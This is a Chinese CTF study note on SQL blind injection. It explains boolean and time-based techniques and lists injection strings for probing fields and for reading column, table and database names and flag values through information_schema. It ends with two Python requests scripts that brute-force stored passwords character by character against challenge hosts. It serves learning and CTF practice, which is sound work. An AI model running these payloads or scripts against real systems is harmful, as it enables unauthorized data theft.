WEB-CTF中的sql盲注

—从零开始的笔记—
—requests和脚本—


前言

此篇包括sql盲注,以及调用requests库的基本python脚本编写

sql盲注的原理

上篇也大致提了一下sql盲注,以及分为布尔型盲注,时间型盲注
实际上sql盲注也很简单,其实就是不直接显示搜索到的结果,而从其他方式来推断得出结果的sql注入。
举起个小栗子:

  • sql回显注入
    我问你叫什么名字,你回答你叫奥特曼。
  • sql布尔型盲注
    我问你叫什么名字,你只会说是和不是(ture false)。
    于是就,我问你叫不叫李狗蛋呀,不是。叫不叫王大花呀,不是。一直猜到是为止。
    但是猜也讲究技巧,一个字一个字的猜的效率比一起猜三个字效率不知道高几倍。
  • sql时间型盲注
    我问你叫什么名字,无论对错,你只会 啊 的叫一声。
    于是就,是 = 让你立马啊,不是 = 让你过一会再啊,以此区分,就便成布尔型一样了。

再类比成数据库查询,原理就是如此了。

数据库盲注所用的函数

  • if 和 case 用于时间型盲注
  • substring() 用于截断字符串
  • ascii() 使字符变成ascii码(可以ascii码比较,也可直接字符比较)
  • limit offset 与 limit 用于查询到多条记录时选取第几条,再猜取内容,不然只会猜取第一条

sql盲注的步骤

1.判断是否有盲注点

布尔型盲注:布尔型盲注的注入点的表现并不绝对统一,只要当sql语句执行成功和失败的返回的页面存在某种固定差异,即存在布尔型盲注点。
所以可以尝试但不限于以下的语句

1
2
3
4
5
6
7
8
9
$name= 1' and '1' = '1    (前后闭合’‘,此处应该返回true的页面,即与$name=1一样)

$name= 1' and '1' = '2 (前后闭合’‘, 此处应该返回false的信息,即与$name=1不同)

$name= 1' or '1' = '1 (前后闭合’‘,此处应该返回true的页面,即与$name=1一样)

$name= 1' or '1' = '2 (前后闭合’‘, 此处应该返回false的信息,即与$name=1不同)

全句:selectfromwhere name = '1' and '1'='1'

时间型盲注:基于布尔型的语句上,利用if或case加以区分使返回结果有区别

1
2
3
4
5
$name= ' or if('1' = '1',sleep(5),1) --+   (延迟返回为true)

$name= ' or if('1' = '2',sleep(5),1) --+ (不延迟返回为false,因为正确的概率低,节省时间)

全句:selectfromwhere name = '' or if('1' = '1',sleep(5),1) --+

此处跟布尔型andor的使用故意有所区分。
实际情况中当你构造不出一个数据库中有的name时,如果继续使用$name= ' and if('1' = '1',sleep(5),1) --+

$name='' 语句执行已经为false,根据and的就近原则:当前有false时,不执行之后的句子
结果将永远不延迟。

于是就可以用' or if('1' = '1',sleep(5),1) --+


接下来
一般跳过判断select语句有几列判断显示的信息在第几列环节,
因为盲注一般不用union select查询,并且没有显示信息。

2.利用函数来搜集信息

用户:user()
当前数据库:database()
数据库版本:version()
@@hostname (用户)
@@datadir (数据库在文件的位置)
@@version (版本)
@@version_compile_OS (操作系统版本)

布尔型:

1
2
3
$name=' or select substring(user(),1,1) ='r' --+  #截取第一位开始的一个

全局:select 2fromwhere name = '' or select substring(user(),1,1) ='r' --+'

盲注查询的基本套路:截取,是否相等,相等=ture页面,不相等=false页面
替换r,直到ture页面
再substring( 巴拉巴拉 , 2 , 1 ),如此反复

时间型:

1
2
3
$name=' or  if( (select substring( user(),1,1 )='r'),sleep(0.5),1) --+   #截取第一位开始的一个 

全局:select 2fromwhere name = '' or if( (select substring( user(),1,1 )='r'),sleep(0.5),1) --+'

此处说明sleep(0.5):说是睡0.5秒实际上是 表中除了name=’’以外的记录数×0.5秒

此句中的sleep()语句会跟 or还是and 以及 select主句中查询的记录数 有关。
具体情况自己可以在mysql中试验。

实际操作中写的数值大就好,因为我们会根据timeout时间超时来判断,超时–>正确;不超时–>错误。

3.猜解库,表,列

布尔型:用字典文件替换db,table,column,如果不存在,返回false界面;存在,返回true界面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1.猜解当前表中的列名
$name=1' and column is not null --+

全句:select 2fromwhere name = '' and column is not null -- '

2.猜解当前表名------已猜出列名
$name=' and table.user is not null --+

3.猜解当前数据库名--已猜出列名,表名
$name=' and db.table.user is not null --+

4.猜解当前数据库的其他表
$name=' and (select count(*) from table)>0 --+ (不能猜解其他数据库的库名,在前面自动添加了库名;count(*):所有查询结果的数量)

5.4.猜解其他数据库的表和列 (如果三者都不知道这种查询只能同时猜三个变量)
$name=' and (select count(*) from db.table)>0 --+

时间型:用字典文件替换db,table,column,如果不存在,立即返回;存在,超时。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1.猜解当前表中的列名
$name=1' and if( (column is not null),sleep(5),1) --+

全句:select 2fromwhere name = '1' and if( (column is not null),sleep(0.5)&1,1) -- '

2.猜解当前表名------已猜出列名
$name=1' and if( (table.column is not null),sleep(5),1) --+

3.猜解当前数据库名--已猜出列名,表名
$name=1' and if( (db.table.column is not null),sleep(5),1) --+

4.猜解当前数据库的其他表
$name=1' and if( (select count(*) from table)>0 ,sleep(5),1)--+ (不能猜解其他数据库的库名,在前面自动添加了库名;count(*):所有查询结果的数量)

5.4.猜解其他数据库的表和列 (如果三者都不知道这种查询只能同时猜三个变量)
$name=' and if( (select count(*) from db.table)>0 ,sleep(5),1) --+

4.从information_schema中读取列,表,库

如果有访问information_schema的权限,当然可以从中读取。
此处列出时间型的小栗子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1.读取列名
$name=1' and if( (select substring(column_name,1,1) from information_schema.columns limit 1 offset 0 )='A' ,sleep(5),1)--+

2.读取表名
$name=1' and if( (select substring(table_name,1,1) from information_schema.tables limit 1 offset 0 )='A' ,sleep(5),1)--+

3.读取库名
$name=1' and if( (select substring(table_schema,1,1) from information_schema.tables group by table_schema limit 1 offset 0 )='A' ,sleep(5),1)--+

4.读取表的库名
$name=1' and if( (select substring(table_schuma,1,1) from information_schema.tables where table_name='XXXX' limit 1 offset 0 )='A' ,sleep(5),1)--+

5.读取列的库名
$name=1' and if( (select substring(table_name,1,1) from information_schema.columns where column_name='XXXX' limit 1 offset 0 )='A' ,sleep(5),1)--+

布尔型的就以此类推,不再写了吧。

5.猜解FLAG

可用select:

1
2
3
$name=' union select  ascii(substring(flag,1,1)) from flag ='102    ------>ascii匹配

$name=' union select substring(flag,1,1) from flag ='A' ------>字符匹配

不好select的情况:

1
2
3
$name=' or column = 'admin  -----> 内容精准

$name=' or column like '%a% -----> 模糊查找

实例

给出个说明较好的盲注实例 戳这里=w=

requests与脚本

盲注的手动注入不现实,burpsuite也不是很方便,学习用py脚本来盲注。
需要requests库,使用说明
贴上两道题目的解题的代码,加上注释,看着学习把。(题目访问url)

布尔型脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#coding:utf-8
import requests

url="http://58.154.33.13:8002/login.php"

payloads="1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_@!#$%^&*()-=+~`[];'./"


#判断列
sql_column="admin' and column is not null" #替换column 得到 password
#判断表
sql_table="admin' and (select password from table)>0" #替换table 得到 admin
#列出password
sql="admin'and (select substring(password,%s,1) from admin)='%s' #"

def exp(i,x):
data={'username':sql %(i,x),'password':'123'}
response=requests.post(url,data=data)
if response.content.decode('utf-8').find('密码错误')>0:
return 1
else :
return 0

key=''
print('start')
for i in range(1,50):
for x in payloads:
if exp(i,x)==1 :
key += x
print(key)
break

时间型脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import time
url="http://ctf5.shiyanbar.com/web/5/index.php"
payloads="1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_@!#$%^&*()-=+~`[];'./"
#判断列 通过 错误 以及 返回固定页面(正确) ------> user pw
sql_column="' or column is not null"
#判断表 通过 错误 以及 返回固定页面(正确) ------> php
sql_table="' or select pw from table"
#判断数据
sql_data="' or if(substring((select pw from php limit 1),%d,1)=%s,sleep(5),0) #"

def exp(i,x):
data={'user':sql_data %(i,x),'pass':'123'}
starttime=time.time()
s=requests.post(url,data=data)
if time.time()-starttime >5 : #post下 尝试用timeout参数失败,于是改用此方法来判定超时
return 1
return 0

key=''
print('start')
for i in range (1,50):
for x in payloads:
#print(i,x)
if exp(i,x)==1 :
key += x
print(key)
break